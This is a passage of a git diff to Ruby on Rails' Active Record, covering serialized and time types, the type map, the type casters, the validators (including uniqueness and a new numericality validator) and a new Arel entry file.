-        Kernel.instance_method(:inspect).bind(self).call
-      end
+      define_method(:inspect, Kernel.instance_method(:inspect))
 
       def changed_in_place?(raw_old_value, value)
         return false if value.nil?
-        raw_new_value = encoded(value)
-        raw_old_value.nil? != raw_new_value.nil? ||
-          subtype.changed_in_place?(raw_old_value, raw_new_value)
+
+        if @comparable
+          old_value = deserialize(raw_old_value)
+          old_value != value
+        else
+          raw_new_value = encoded(value)
+          raw_old_value.nil? != raw_new_value.nil? ||
+            subtype.changed_in_place?(raw_old_value, raw_new_value)
+        end
       end
 
       def accessor
@@ -47,15 +56,26 @@ def assert_valid_value(value)
         end
       end
 
-      private
+      def force_equality?(value)
+        coder.respond_to?(:object_class) && value.is_a?(coder.object_class)
+      end
 
+      def serialized? # :nodoc:
+        true
+      end
+
+      private
         def default_value?(value)
           value == coder.load(nil)
         end
 
         def encoded(value)
-          unless default_value?(value)
-            coder.dump(value)
+          return if default_value?(value)
+          payload = coder.dump(value)
+          if payload && @subtype.binary?
+            ActiveModel::Type::Binary::Data.new(payload)
+          else
+            payload
           end
         end
     end
diff --git a/activerecord/lib/active_record/type/text.rb b/activerecord/lib/active_record/type/text.rb
index cb1949700a204..6d19696671432 100644
--- a/activerecord/lib/active_record/type/text.rb
+++ b/activerecord/lib/active_record/type/text.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 module ActiveRecord
   module Type
     class Text < ActiveModel::Type::String # :nodoc:
diff --git a/activerecord/lib/active_record/type/time.rb b/activerecord/lib/active_record/type/time.rb
index b9bac87c67f00..4efbb3683667a 100644
--- a/activerecord/lib/active_record/type/time.rb
+++ b/activerecord/lib/active_record/type/time.rb
@@ -1,10 +1,11 @@
+# frozen_string_literal: true
+
 module ActiveRecord
   module Type
     class Time < ActiveModel::Type::Time
       include Internal::Timezone
 
-      class Value < DelegateClass(::Time) # :nodoc:
-      end
+      Value = ActiveSupport::Delegation::DelegateClass(::Time) # :nodoc:
 
       def serialize(value)
         case value = super
@@ -14,6 +15,20 @@ def serialize(value)
           value
         end
       end
+
+      def serialize_cast_value(value) # :nodoc:
+        Value.new(super) if value
+      end
+
+      private
+        def cast_value(value)
+          case value = super
+          when Value
+            value.__getobj__
+          else
+            value
+          end
+        end
     end
   end
 end
diff --git a/activerecord/lib/active_record/type/type_map.rb b/activerecord/lib/active_record/type/type_map.rb
index 7bce82a1fff49..40110116225b9 100644
--- a/activerecord/lib/active_record/type/type_map.rb
+++ b/activerecord/lib/active_record/type/type_map.rb
@@ -1,58 +1,56 @@
+# frozen_string_literal: true
+
 require "concurrent/map"
 
 module ActiveRecord
   module Type
     class TypeMap # :nodoc:
-      def initialize
+      def initialize(parent = nil)
         @mapping = {}
-        @cache = Concurrent::Map.new do |h, key|
-          h.fetch_or_store(key, Concurrent::Map.new)
-        end
+        @parent = parent
+        @cache = Concurrent::Map.new
       end
 
-      def lookup(lookup_key, *args)
-        fetch(lookup_key, *args) { Type.default_value }
+      def lookup(lookup_key)
+        fetch(lookup_key) { Type.default_value }
       end
 
-      def fetch(lookup_key, *args, &block)
-        @cache[lookup_key].fetch_or_store(args) do
-          perform_fetch(lookup_key, *args, &block)
+      def fetch(lookup_key, &block)
+        @cache.fetch_or_store(lookup_key) do
+          perform_fetch(lookup_key, &block)
         end
       end
 
       def register_type(key, value = nil, &block)
         raise ::ArgumentError unless value || block
-        @cache.clear
 
         if block
           @mapping[key] = block
         else
           @mapping[key] = proc { value }
         end
+        @cache.clear
       end
 
       def alias_type(key, target_key)
-        register_type(key) do |sql_type, *args|
+        register_type(key) do |sql_type|
           metadata = sql_type[/\(.*\)/, 0]
-          lookup("#{target_key}#{metadata}", *args)
+          lookup("#{target_key}#{metadata}")
         end
       end
 
-      def clear
-        @mapping.clear
-      end
-
-      private
-
-        def perform_fetch(lookup_key, *args)
+      protected
+        def perform_fetch(lookup_key, &block)
           matching_pair = @mapping.reverse_each.detect do |key, _|
             key === lookup_key
           end
 
           if matching_pair
-            matching_pair.last.call(lookup_key, *args)
+            matching_pair.last.call(lookup_key).freeze
+          elsif @parent
+            @parent.perform_fetch(lookup_key, &block)
           else
-            yield lookup_key, *args
+            yield lookup_key
           end
         end
     end
diff --git a/activerecord/lib/active_record/type/unsigned_integer.rb b/activerecord/lib/active_record/type/unsigned_integer.rb
index 9ae0109f9f0dc..535369e630795 100644
--- a/activerecord/lib/active_record/type/unsigned_integer.rb
+++ b/activerecord/lib/active_record/type/unsigned_integer.rb
@@ -1,8 +1,9 @@
+# frozen_string_literal: true
+
 module ActiveRecord
   module Type
     class UnsignedInteger < ActiveModel::Type::Integer # :nodoc:
       private
-
         def max_value
           super * 2
         end
diff --git a/activerecord/lib/active_record/type_caster.rb b/activerecord/lib/active_record/type_caster.rb
index f1686e4913d96..2e5f45fa3ddfe 100644
--- a/activerecord/lib/active_record/type_caster.rb
+++ b/activerecord/lib/active_record/type_caster.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "active_record/type_caster/map"
 require "active_record/type_caster/connection"
 
diff --git a/activerecord/lib/active_record/type_caster/connection.rb b/activerecord/lib/active_record/type_caster/connection.rb
index 9f7bbe8843f54..87cc4e945414e 100644
--- a/activerecord/lib/active_record/type_caster/connection.rb
+++ b/activerecord/lib/active_record/type_caster/connection.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 module ActiveRecord
   module TypeCaster
     class Connection # :nodoc:
@@ -6,26 +8,27 @@ def initialize(klass, table_name)
         @table_name = table_name
       end
 
-      def type_cast_for_database(attribute_name, value)
-        return value if value.is_a?(Arel::Nodes::BindParam)
-        column = column_for(attribute_name)
-        connection.type_cast_from_column(column, value)
+      def type_cast_for_database(attr_name, value)
+        type = type_for_attribute(attr_name)
+        type.serialize(value)
       end
 
-      # TODO Change this to private once we've dropped Ruby 2.2 support.
-      # Workaround for Ruby 2.2 "private attribute?" warning.
-      protected
-
-        attr_reader :table_name
-        delegate :connection, to: :@klass
-
-      private
+      def type_for_attribute(attr_name)
+        schema_cache = @klass.schema_cache
 
-        def column_for(attribute_name)
-          if connection.schema_cache.data_source_exists?(table_name)
-            connection.schema_cache.columns_hash(table_name)[attribute_name.to_s]
+        if schema_cache.data_source_exists?(table_name)
+          column = schema_cache.columns_hash(table_name)[attr_name.to_s]
+          if column
+            # TODO: Remove fetch_cast_type and the need for connection after we release 8.1.
+            type = column.fetch_cast_type(@klass.lease_connection)
           end
         end
+
+        type || Type.default_value
+      end
+
+      private
+        attr_reader :table_name
     end
   end
 end
diff --git a/activerecord/lib/active_record/type_caster/map.rb b/activerecord/lib/active_record/type_caster/map.rb
index 9f79723125875..b3dd7a014aea1 100644
--- a/activerecord/lib/active_record/type_caster/map.rb
+++ b/activerecord/lib/active_record/type_caster/map.rb
@@ -1,21 +1,23 @@
+# frozen_string_literal: true
+
 module ActiveRecord
   module TypeCaster
     class Map # :nodoc:
-      def initialize(types)
-        @types = types
+      def initialize(klass)
+        @klass = klass
       end
 
       def type_cast_for_database(attr_name, value)
-        return value if value.is_a?(Arel::Nodes::BindParam)
-        type = types.type_for_attribute(attr_name.to_s)
+        type = type_for_attribute(attr_name)
         type.serialize(value)
       end
 
-      # TODO Change this to private once we've dropped Ruby 2.2 support.
-      # Workaround for Ruby 2.2 "private attribute?" warning.
-      protected
+      def type_for_attribute(name)
+        klass.type_for_attribute(name)
+      end
 
-        attr_reader :types
+      private
+        attr_reader :klass
     end
   end
 end
diff --git a/activerecord/lib/active_record/validations.rb b/activerecord/lib/active_record/validations.rb
index 9633f226f0e3d..f0072590cbaba 100644
--- a/activerecord/lib/active_record/validations.rb
+++ b/activerecord/lib/active_record/validations.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 module ActiveRecord
   # = Active Record \RecordInvalid
   #
@@ -28,25 +30,27 @@ def initialize(record = nil)
 
   # = Active Record \Validations
   #
-  # Active Record includes the majority of its validations from ActiveModel::Validations
-  # all of which accept the <tt>:on</tt> argument to define the context where the
-  # validations are active. Active Record will always supply either the context of
-  # <tt>:create</tt> or <tt>:update</tt> dependent on whether the model is a
+  # Active Record includes the majority of its validations from ActiveModel::Validations.
+  #
+  # In Active Record, all validations are performed on save by default.
+  # Validations accept the <tt>:on</tt> argument to define the context where
+  # the validations are active. Active Record will pass either the context of
+  # <tt>:create</tt> or <tt>:update</tt> depending on whether the model is a
   # {new_record?}[rdoc-ref:Persistence#new_record?].
   module Validations
     extend ActiveSupport::Concern
-    include ActiveModel::Validations
 
     # The validation process on save can be skipped by passing <tt>validate: false</tt>.
+    # The validation context can be changed by passing <tt>context: context</tt>.
     # The regular {ActiveRecord::Base#save}[rdoc-ref:Persistence#save] method is replaced
     # with this when the validations module is mixed in, which it is by default.
-    def save(options = {})
+    def save(**options)
       perform_validations(options) ? super : false
     end
 
     # Attempts to save the record just like {ActiveRecord::Base#save}[rdoc-ref:Base#save] but
     # will raise an ActiveRecord::RecordInvalid exception instead of returning +false+ if the record is not valid.
-    def save!(options = {})
+    def save!(**options)
       perform_validations(options) ? super : raise_validation_error
     end
 
@@ -57,6 +61,8 @@ def save!(options = {})
     #
     # If the argument is +false+ (default is +nil+), the context is set to <tt>:create</tt> if
     # {new_record?}[rdoc-ref:Persistence#new_record?] is +true+, and to <tt>:update</tt> if it is not.
+    # If the argument is an array of contexts, <tt>post.valid?([:create, :update])</tt>, the validations are
+    # run within multiple contexts.
     #
     # \Validations with no <tt>:on</tt> option will run no matter the context. \Validations with
     # some <tt>:on</tt> option will only run in the specified context.
@@ -68,8 +74,11 @@ def valid?(context = nil)
 
     alias_method :validate, :valid?
 
-  private
+    def custom_validation_context? # :nodoc:
+      validation_context && [:create, :update].exclude?(validation_context)
+    end
 
+  private
     def default_validation_context
       new_record? ? :create : :update
     end
@@ -89,3 +98,4 @@ def perform_validations(options = {})
 require "active_record/validations/presence"
 require "active_record/validations/absence"
 require "active_record/validations/length"
+require "active_record/validations/numericality"
diff --git a/activerecord/lib/active_record/validations/absence.rb b/activerecord/lib/active_record/validations/absence.rb
index 641d041f3d7cd..b37457a8b1b1d 100644
--- a/activerecord/lib/active_record/validations/absence.rb
+++ b/activerecord/lib/active_record/validations/absence.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 module ActiveRecord
   module Validations
     class AbsenceValidator < ActiveModel::Validations::AbsenceValidator # :nodoc:
@@ -12,7 +14,7 @@ def validate_each(record, attribute, association_or_value)
     module ClassMethods
       # Validates that the specified attributes are not present (as defined by
       # Object#present?). If the attribute is an association, the associated object
-      # is considered absent if it was marked for destruction.
+      # is also considered not present if it is marked for destruction.
       #
       # See ActiveModel::Validations::HelperMethods.validates_absence_of for more information.
       def validates_absence_of(*attr_names)
diff --git a/activerecord/lib/active_record/validations/associated.rb b/activerecord/lib/active_record/validations/associated.rb
index c695965d7b29e..ae5a30a7ff8a9 100644
--- a/activerecord/lib/active_record/validations/associated.rb
+++ b/activerecord/lib/active_record/validations/associated.rb
@@ -1,16 +1,23 @@
+# frozen_string_literal: true
+
 module ActiveRecord
   module Validations
-    class AssociatedValidator < ActiveModel::EachValidator #:nodoc:
+    class AssociatedValidator < ActiveModel::EachValidator # :nodoc:
       def validate_each(record, attribute, value)
-        if Array(value).reject { |r| valid_object?(r) }.any?
-          record.errors.add(attribute, :invalid, options.merge(value: value))
+        context = record_validation_context_for_association(record)
+
+        if Array(value).reject { |association| valid_object?(association, context) }.any?
+          record.errors.add(attribute, :invalid, **options, value: value)
         end
       end
 
       private
+        def valid_object?(record, context)
+          (record.respond_to?(:marked_for_destruction?) && record.marked_for_destruction?) || record.valid?(context)
+        end
 
-        def valid_object?(record)
-          (record.respond_to?(:marked_for_destruction?) && record.marked_for_destruction?) || record.valid?
+        def record_validation_context_for_association(record)
+          record.custom_validation_context? ? record.validation_context : nil
         end
     end
 
@@ -41,14 +48,14 @@ module ClassMethods
       #   or an array of symbols. (e.g. <tt>on: :create</tt> or
       #   <tt>on: :custom_validation_context</tt> or
       #   <tt>on: [:create, :custom_validation_context]</tt>)
-      # * <tt>:if</tt> - Specifies a method, proc or string to call to determine
+      # * <tt>:if</tt> - Specifies a method, proc, or string to call to determine
       #   if the validation should occur (e.g. <tt>if: :allow_validation</tt>,
       #   or <tt>if: Proc.new { |user| user.signup_step > 2 }</tt>). The method,
       #   proc or string should return or evaluate to a +true+ or +false+ value.
-      # * <tt>:unless</tt> - Specifies a method, proc or string to call to
+      # * <tt>:unless</tt> - Specifies a method, proc, or string to call to
       #   determine if the validation should not occur (e.g. <tt>unless: :skip_validation</tt>,
       #   or <tt>unless: Proc.new { |user| user.signup_step <= 2 }</tt>). The
-      #   method, proc or string should return or evaluate to a +true+ or +false+
+      #   method, proc, or string should return or evaluate to a +true+ or +false+
       #   value.
       def validates_associated(*attr_names)
         validates_with AssociatedValidator, _merge_attributes(attr_names)
diff --git a/activerecord/lib/active_record/validations/length.rb b/activerecord/lib/active_record/validations/length.rb
index 0e0cebce4ad4a..f47b14ae3a24e 100644
--- a/activerecord/lib/active_record/validations/length.rb
+++ b/activerecord/lib/active_record/validations/length.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 module ActiveRecord
   module Validations
     class LengthValidator < ActiveModel::Validations::LengthValidator # :nodoc:
diff --git a/activerecord/lib/active_record/validations/numericality.rb b/activerecord/lib/active_record/validations/numericality.rb
new file mode 100644
index 0000000000000..1fb98577fd187
--- /dev/null
+++ b/activerecord/lib/active_record/validations/numericality.rb
@@ -0,0 +1,36 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module Validations
+    class NumericalityValidator < ActiveModel::Validations::NumericalityValidator # :nodoc:
+      def validate_each(record, attribute, value, precision: nil, scale: nil)
+        precision = [column_precision_for(record, attribute) || Float::DIG, Float::DIG].min
+        scale     = column_scale_for(record, attribute)
+        super(record, attribute, value, precision: precision, scale: scale)
+      end
+
+      private
+        def column_precision_for(record, attribute)
+          record.class.type_for_attribute(attribute.to_s)&.precision
+        end
+
+        def column_scale_for(record, attribute)
+          record.class.type_for_attribute(attribute.to_s)&.scale
+        end
+    end
+
+    module ClassMethods
+      # Validates whether the value of the specified attribute is numeric by
+      # trying to convert it to a float with +Kernel.Float+ (if
+      # <tt>only_integer</tt> is +false+) or applying it to the regular
+      # expression <tt>/\A[\+\-]?\d+\z/</tt> (if <tt>only_integer</tt> is set to
+      # +true+). +Kernel.Float+ precision defaults to the column's precision
+      # value or 15.
+      #
+      # See ActiveModel::Validations::HelperMethods.validates_numericality_of for more information.
+      def validates_numericality_of(*attr_names)
+        validates_with NumericalityValidator, _merge_attributes(attr_names)
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/validations/presence.rb b/activerecord/lib/active_record/validations/presence.rb
index 7cfd55f51612d..335792b45cc5f 100644
--- a/activerecord/lib/active_record/validations/presence.rb
+++ b/activerecord/lib/active_record/validations/presence.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 module ActiveRecord
   module Validations
     class PresenceValidator < ActiveModel::Validations::PresenceValidator # :nodoc:
@@ -11,9 +13,8 @@ def validate_each(record, attribute, association_or_value)
 
     module ClassMethods
       # Validates that the specified attributes are not blank (as defined by
-      # Object#blank?), and, if the attribute is an association, that the
-      # associated object is not marked for destruction. Happens by default
-      # on save.
+      # Object#blank?). If the attribute is an association, the associated object
+      # is also considered blank if it is marked for destruction.
       #
       #   class Person < ActiveRecord::Base
       #     has_one :face
@@ -23,41 +24,19 @@ module ClassMethods
       # The face attribute must be in the object and it cannot be blank or marked
       # for destruction.
       #
-      # If you want to validate the presence of a boolean field (where the real values
-      # are true and false), you will want to use
-      # <tt>validates_inclusion_of :field_name, in: [true, false]</tt>.
-      #
-      # This is due to the way Object#blank? handles boolean values:
-      # <tt>false.blank? # => true</tt>.
-      #
       # This validator defers to the Active Model validation for presence, adding the
       # check to see that an associated object is not marked for destruction. This
       # prevents the parent object from validating successfully and saving, which then
       # deletes the associated object, thus putting the parent object into an invalid
       # state.
       #
+      # See ActiveModel::Validations::HelperMethods.validates_presence_of for
+      # more information.
+      #
       # NOTE: This validation will not fail while using it with an association
       # if the latter was assigned but not valid. If you want to ensure that
       # it is both present and valid, you also need to use
       # {validates_associated}[rdoc-ref:Validations::ClassMethods#validates_associated].
-      #
-      # Configuration options:
-      # * <tt>:message</tt> - A custom error message (default is: "can't be blank").
-      # * <tt>:on</tt> - Specifies the contexts where this validation is active.
-      #   Runs in all validation contexts by default +nil+. You can pass a symbol
-      #   or an array of symbols. (e.g. <tt>on: :create</tt> or
-      #   <tt>on: :custom_validation_context</tt> or
-      #   <tt>on: [:create, :custom_validation_context]</tt>)
-      # * <tt>:if</tt> - Specifies a method, proc or string to call to determine if
-      #   the validation should occur (e.g. <tt>if: :allow_validation</tt>, or
-      #   <tt>if: Proc.new { |user| user.signup_step > 2 }</tt>). The method, proc
-      #   or string should return or evaluate to a +true+ or +false+ value.
-      # * <tt>:unless</tt> - Specifies a method, proc or string to call to determine
-      #   if the validation should not occur (e.g. <tt>unless: :skip_validation</tt>,
-      #   or <tt>unless: Proc.new { |user| user.signup_step <= 2 }</tt>). The method,
-      #   proc or string should return or evaluate to a +true+ or +false+ value.
-      # * <tt>:strict</tt> - Specifies whether validation should be strict.
-      #   See ActiveModel::Validations#validates! for more information.
       def validates_presence_of(*attr_names)
         validates_with PresenceValidator, _merge_attributes(attr_names)
       end
diff --git a/activerecord/lib/active_record/validations/uniqueness.rb b/activerecord/lib/active_record/validations/uniqueness.rb
index 154cf5f1a4970..d661cc4029fc1 100644
--- a/activerecord/lib/active_record/validations/uniqueness.rb
+++ b/activerecord/lib/active_record/validations/uniqueness.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 module ActiveRecord
   module Validations
     class UniquenessValidator < ActiveModel::EachValidator # :nodoc:
@@ -6,51 +8,127 @@ def initialize(options)
           raise ArgumentError, "#{options[:conditions]} was passed as :conditions but is not callable. " \
                                "Pass a callable instead: `conditions: -> { where(approved: true) }`"
         end
-        super({ case_sensitive: true }.merge!(options))
+        unless Array(options[:scope]).all? { |scope| scope.respond_to?(:to_sym) }
+          raise ArgumentError, "#{options[:scope]} is not supported format for :scope option. " \
+            "Pass a symbol or an array of symbols instead: `scope: :user_id`"
+        end
+        super
         @klass = options[:class]
+        @klass = @klass.superclass if @klass.singleton_class?
       end
 
       def validate_each(record, attribute, value)
         finder_class = find_finder_class_for(record)
         value = map_enum_attribute(finder_class, attribute, value)
 
+        return if record.persisted? && !validation_needed?(finder_class, record, attribute)
+
         relation = build_relation(finder_class, attribute, value)
         if record.persisted?
           if finder_class.primary_key
-            relation = relation.where.not(finder_class.primary_key => record.id_in_database || record.id)
+            relation = relation.where.not(finder_class.primary_key => [record.id_in_database])
           else
-            raise UnknownPrimaryKey.new(finder_class, "Can not validate uniqueness for persisted record without primary key.")
+            raise UnknownPrimaryKey.new(finder_class, "Cannot validate uniqueness for persisted record without primary key.")
           end
         end
         relation = scope_relation(record, relation)
-        relation = relation.merge(options[:conditions]) if options[:conditions]
+
+        if options[:conditions]
+          conditions = options[:conditions]
+
+          relation = if conditions.arity.zero?
+            relation.instance_exec(&conditions)
+          else
+            relation.instance_exec(record, &conditions)
+          end
+        end
 
         if relation.exists?
           error_options = options.except(:case_sensitive, :scope, :conditions)
           error_options[:value] = value
 
-          record.errors.add(attribute, :taken, error_options)
+          record.errors.add(attribute, :taken, **error_options)
         end
       end
 
     private
       # The check for an existing value should be run from a class that
       # isn't abstract. This means working down from the current class
-      # (self), to the first non-abstract class. Since classes don't know
-      # their subclasses, we have to build the hierarchy between self and
-      # the record's class.
+      # (self), to the first non-abstract class.
       def find_finder_class_for(record)
-        class_hierarchy = [record.class]
+        current_class = record.class
+        found_class = nil
+        loop do
+          found_class = current_class unless current_class.abstract_class?
+          break if current_class == @klass
+          current_class = current_class.superclass
+        end
+
+        found_class
+      end
+
+      def validation_needed?(klass, record, attribute)
+        return true if options[:conditions] || options.key?(:case_sensitive)
+
+        scope = Array(options[:scope])
+        attributes = scope + [attribute]
+        attributes = resolve_attributes(record, attributes)
+
+        return true if attributes.any? { |attr| record.attribute_changed?(attr) ||
+                                                record.read_attribute(attr).nil? }
+
+        !covered_by_unique_index?(klass, record, attribute, scope)
+      end
 
-        while class_hierarchy.first != @klass
-          class_hierarchy.unshift(class_hierarchy.first.superclass)
+      def covered_by_unique_index?(klass, record, attribute, scope)
+        @covered ||= self.attributes.map(&:to_s).select do |attr|
+          attributes = scope + [attr]
+          attributes = resolve_attributes(record, attributes)
+
+          klass.schema_cache.indexes(klass.table_name).any? do |index|
+            index.unique &&
+              index.where.nil? &&
+              (Array(index.columns) - attributes).empty?
+          end
         end
 
-        class_hierarchy.detect { |klass| !klass.abstract_class? }
+        @covered.include?(attribute.to_s)
+      end
+
+      def resolve_attributes(record, attributes)
+        attributes.flat_map do |attribute|
+          reflection = record.class._reflect_on_association(attribute)
+
+          if reflection.nil?
+            attribute.to_s
+          elsif reflection.polymorphic?
+            [reflection.foreign_key, reflection.foreign_type]
+          else
+            reflection.foreign_key
+          end
+        end
       end
 
       def build_relation(klass, attribute, value)
-        klass.unscoped.where!({ attribute => value }, options)
+        relation = klass.unscoped
+        # TODO: Add case-sensitive / case-insensitive operators to Arel
+        # to no longer need to checkout a connection here.
+        comparison = klass.with_connection do |connection|
+          relation.bind_attribute(attribute, value) do |attr, bind|
+            return relation.none! if bind.unboundable?
+
+            if !options.key?(:case_sensitive) || bind.nil?
+              connection.default_uniqueness_comparison(attr, bind)
+            elsif options[:case_sensitive]
+              connection.case_sensitive_comparison(attr, bind)
+            else
+              # will use SQL LOWER function before comparison, unless it detects a case insensitive collation
+              connection.case_insensitive_comparison(attr, bind)
+            end
+          end
+        end
+
+        relation.where!(comparison)
       end
 
       def scope_relation(record, relation)
@@ -58,7 +136,7 @@ def scope_relation(record, relation)
           scope_value = if record.class._reflect_on_association(scope_item)
             record.association(scope_item).reader
           else
-            record._read_attribute(scope_item)
+            record.read_attribute(scope_item)
           end
           relation = relation.where(scope_item => scope_value)
         end
@@ -106,6 +184,17 @@ module ClassMethods
       #     validates_uniqueness_of :title, conditions: -> { where.not(status: 'archived') }
       #   end
       #
+      # To build conditions based on the record's state, define the conditions
+      # callable with a parameter, which will be the record itself. This
+      # example validates the title is unique for the year of publication:
+      #
+      #   class Article < ActiveRecord::Base
+      #     validates_uniqueness_of :title, conditions: ->(article) {
+      #       published_at = article.published_at
+      #       where(published_at: published_at.beginning_of_year..published_at.end_of_year)
+      #     }
+      #   end
+      #
       # When the record is created, a check is performed to make sure that no
       # record exists in the database with the given value for the specified
       # attribute (that maps to a column). When the record is updated,
@@ -121,19 +210,19 @@ module ClassMethods
       #   <tt>WHERE</tt> SQL fragment to limit the uniqueness constraint lookup
       #   (e.g. <tt>conditions: -> { where(status: 'active') }</tt>).
       # * <tt>:case_sensitive</tt> - Looks for an exact match. Ignored by
-      #   non-text columns (+true+ by default).
+      #   non-text columns. The default behavior respects the default database collation.
       # * <tt>:allow_nil</tt> - If set to +true+, skips this validation if the
       #   attribute is +nil+ (default is +false+).
       # * <tt>:allow_blank</tt> - If set to +true+, skips this validation if the
       #   attribute is blank (default is +false+).
-      # * <tt>:if</tt> - Specifies a method, proc or string to call to determine
+      # * <tt>:if</tt> - Specifies a method, proc, or string to call to determine
       #   if the validation should occur (e.g. <tt>if: :allow_validation</tt>,
       #   or <tt>if: Proc.new { |user| user.signup_step > 2 }</tt>). The method,
       #   proc or string should return or evaluate to a +true+ or +false+ value.
-      # * <tt>:unless</tt> - Specifies a method, proc or string to call to
+      # * <tt>:unless</tt> - Specifies a method, proc, or string to call to
       #   determine if the validation should not occur (e.g. <tt>unless: :skip_validation</tt>,
       #   or <tt>unless: Proc.new { |user| user.signup_step <= 2 }</tt>). The
-      #   method, proc or string should return or evaluate to a +true+ or +false+
+      #   method, proc, or string should return or evaluate to a +true+ or +false+
       #   value.
       #
       # === Concurrency and integrity
@@ -173,9 +262,7 @@ module ClassMethods
       #                                      | # Boom! We now have a duplicate
       #                                      | # title!
       #
-      # This could even happen if you use transactions with the 'serializable'
-      # isolation level. The best way to work around this problem is to add a unique
-      # index to the database table using
+      # The best way to work around this problem is to add a unique index to the database table using
       # {connection.add_index}[rdoc-ref:ConnectionAdapters::SchemaStatements#add_index].
       # In the rare case that a race condition occurs, the database will guarantee
       # the field's uniqueness.
@@ -183,11 +270,11 @@ module ClassMethods
       # When the database catches such a duplicate insertion,
       # {ActiveRecord::Base#save}[rdoc-ref:Persistence#save] will raise an ActiveRecord::StatementInvalid
       # exception. You can either choose to let this error propagate (which
-      # will result in the default Rails exception page being shown), or you
+      # will result in the default \Rails exception page being shown), or you
       # can catch it and restart the transaction (e.g. by telling the user
       # that the title already exists, and asking them to re-enter the title).
       # This technique is also known as
-      # {optimistic concurrency control}[http://en.wikipedia.org/wiki/Optimistic_concurrency_control].
+      # {optimistic concurrency control}[https://en.wikipedia.org/wiki/Optimistic_concurrency_control].
       #
       # The bundled ActiveRecord::ConnectionAdapters distinguish unique index
       # constraint errors from other types of database errors by throwing an
@@ -198,6 +285,7 @@ module ClassMethods
       # The following bundled adapters throw the ActiveRecord::RecordNotUnique exception:
       #
       # * ActiveRecord::ConnectionAdapters::Mysql2Adapter.
+      # * ActiveRecord::ConnectionAdapters::TrilogyAdapter.
       # * ActiveRecord::ConnectionAdapters::SQLite3Adapter.
       # * ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.
       def validates_uniqueness_of(*attr_names)
diff --git a/activerecord/lib/active_record/version.rb b/activerecord/lib/active_record/version.rb
index 146cfacc180b8..96e981c0fdde1 100644
--- a/activerecord/lib/active_record/version.rb
+++ b/activerecord/lib/active_record/version.rb
@@ -1,7 +1,9 @@
+# frozen_string_literal: true
+
 require_relative "gem_version"
 
 module ActiveRecord
-  # Returns the version of the currently loaded ActiveRecord as a <tt>Gem::Version</tt>
+  # Returns the currently loaded version of Active Record as a +Gem::Version+.
   def self.version
     gem_version
   end
diff --git a/activerecord/lib/arel.rb b/activerecord/lib/arel.rb
new file mode 100644
index 0000000000000..27a7d79126dc6
--- /dev/null
+++ b/activerecord/lib/arel.rb
@@ -0,0 +1,75 @@
+# frozen_string_literal: true
+
+require "arel/errors"
+
+require "arel/crud"
+require "arel/factory_methods"
+
+require "arel/expressions"
+require "arel/predications"
+require "arel/filter_predications"
+require "arel/window_predications"
+require "arel/math"
+require "arel/alias_predication"
+require "arel/order_predications"
+require "arel/table"
+require "arel/attributes/attribute"
+
+require "arel/visitors"
+require "arel/collectors/sql_string"
+
+require "arel/tree_manager"
+require "arel/insert_manager"
+require "arel/select_manager"
+require "arel/update_manager"
+require "arel/delete_manager"
+require "arel/nodes"
+
+module Arel
+  VERSION = "10.0.0"
+
+  # Wrap a known-safe SQL string for passing to query methods, e.g.
+  #
+  #   Post.order(Arel.sql("REPLACE(title, 'misc', 'zzzz') asc")).pluck(:id)
+  #
+  # Great caution should be taken to avoid SQL injection vulnerabilities.
+  # This method should not be used with unsafe values such as request
+  # parameters or model attributes.
+  #
+  # Take a look at the {security guide}[https://guides.rubyonrails.org/security.html#sql-injection]
+  # for more information.
+  #
+  # To construct a more complex query fragment, including the possible
+  # use of user-provided values, the +sql_string+ may contain <tt>?</tt> and
+  # +:key+ placeholders, corresponding to the additional arguments. Note
+  # that this behavior only applies when bind value parameters are
+  # supplied in the call; without them, the placeholder tokens have no
+  # special meaning, and will be passed through to the query as-is.
+  #
+  # The +:retryable+ option can be used to mark the SQL as safe to retry.
+  # Use this option only if the SQL is idempotent, as it could be executed
+  # more than once.
+  def self.sql(sql_string, *positional_binds, retryable: false, **named_binds)
+    if Arel::Nodes::SqlLiteral === sql_string
+      sql_string
+    elsif positional_binds.empty? && named_binds.empty?
+      Arel::Nodes::SqlLiteral.new(sql_string, retryable: retryable)
+    else
+      Arel::Nodes::BoundSqlLiteral.new sql_string, positional_binds, named_binds
+    end
+  end
+
+  def self.star # :nodoc:
+    sql("*", retryable: true)
+  end
+
+  def self.arel_node?(value) # :nodoc:
+    value.is_a?(Arel::Nodes::Node) || value.is_a?(Arel::Attribute) || value.is_a?(Arel::Nodes::SqlLiteral)
+  end
+
+  def self.fetch_attribute(value, &block) # :nodoc:
+    unless String === value
+      value.fetch_attribute(&block)
+    end
+  end
+end
diff --git a/activerecord/lib/arel/alias_predication.rb b/activerecord/lib/arel/alias_predication.rb
new file mode 100644
index 0000000000000..b8029bd1769e5
--- /dev/null
+++ b/activerecord/lib/arel/alias_predication.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+module Arel # :nodoc: all
+  module AliasPredication
+    def as(other)
+      other = other.name if other.is_a?(Symbol)
+
+      Nodes::As.new self, Nodes::SqlLiteral.new(other, retryable: true)
+    end
+  end
+end
diff --git a/activerecord/lib/arel/attributes/attribute.rb b/activerecord/lib/arel/attributes/attribute.rb
new file mode 100644
index 0000000000000..dd910e1995441
--- /dev/null
+++ b/activerecord/lib/arel/attributes/attribute.rb
@@ -0,0 +1,33 @@
+# frozen_string_literal: true
+
+module Arel # :nodoc: all
+  module Attributes
+    class Attribute < Struct.new :relation, :name
+      include Arel::Expressions
+      include Arel::Predications
+      include Arel::AliasPredication
+      include Arel::OrderPredications
+      include Arel::Math
+
+      def type_caster
+        relation.type_for_attribute(name)
+      end
+
+      ###
+      # Create a node for lowering this attribute
+      def lower
+        relation.lower self
+      end
+
+      def type_cast_for_database(value)
+        relation.type_cast_for_database(name, value)
+      end
+
+      def able_to_type_cast?
+        relation.able_to_type_cast?
+      end
+    end
+  end
+
+  Attribute = Attributes::Attribute
+end
diff --git a/activerecord/lib/arel/collectors/bind.rb b/activerecord/lib/arel/collectors/bind.rb
